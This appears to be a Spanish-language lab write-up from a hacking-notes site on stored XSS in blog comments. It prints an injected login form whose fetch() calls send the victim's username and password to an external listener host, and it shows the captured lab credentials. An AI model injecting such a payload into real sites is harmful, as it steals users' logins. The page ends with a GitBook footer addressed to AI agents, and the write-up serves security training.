> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/password-capture-via-xss.md).

# Captura de contraseñas mediante XSS

### Aprovechando el Cross-site Scripting para capturar contraseñas

Este laboratorio contiene una vulnerabilidad XSS persistente en la función de comentarios del blog. Un usuario simulado (víctima) consulta todos los comentarios después de su publicación. El objetivo educativo es aprovechar este fallo para exfiltrar el nombre de usuario y la contraseña de la víctima y luego conectarse con estas credenciales.

Se inyecta un pequeño formulario en un comentario. Cuando la víctima introduce su información, `fetch()` las solicitudes envían los valores a una URL controlada por el atacante, lo que permite capturar las credenciales del usuario.

Formulario inyectado

```html
Usuario:
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

Contraseña:
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* El formulario anterior provoca el envío de `username` y `contraseña` los campos a la URL de escucha con cada modificación (`onchange`).

<figure><img src="/files/391e08c744fb051a805a9327041793bc44390e77" alt=""><figcaption></figcaption></figure>

Credenciales capturadas:

* **Nombre de usuario:** `administrator`

<figure><img src="/files/ac2b0ee4a7c181e393af1fbb9bd334d94f17ed8d" alt=""><figcaption></figcaption></figure>

* **Contraseña:** `qzkcz73zlwri7yiwpf31`

<figure><img src="/files/b1ae21bda2c0da4f541c1d6347140646aada91ac" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/password-capture-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
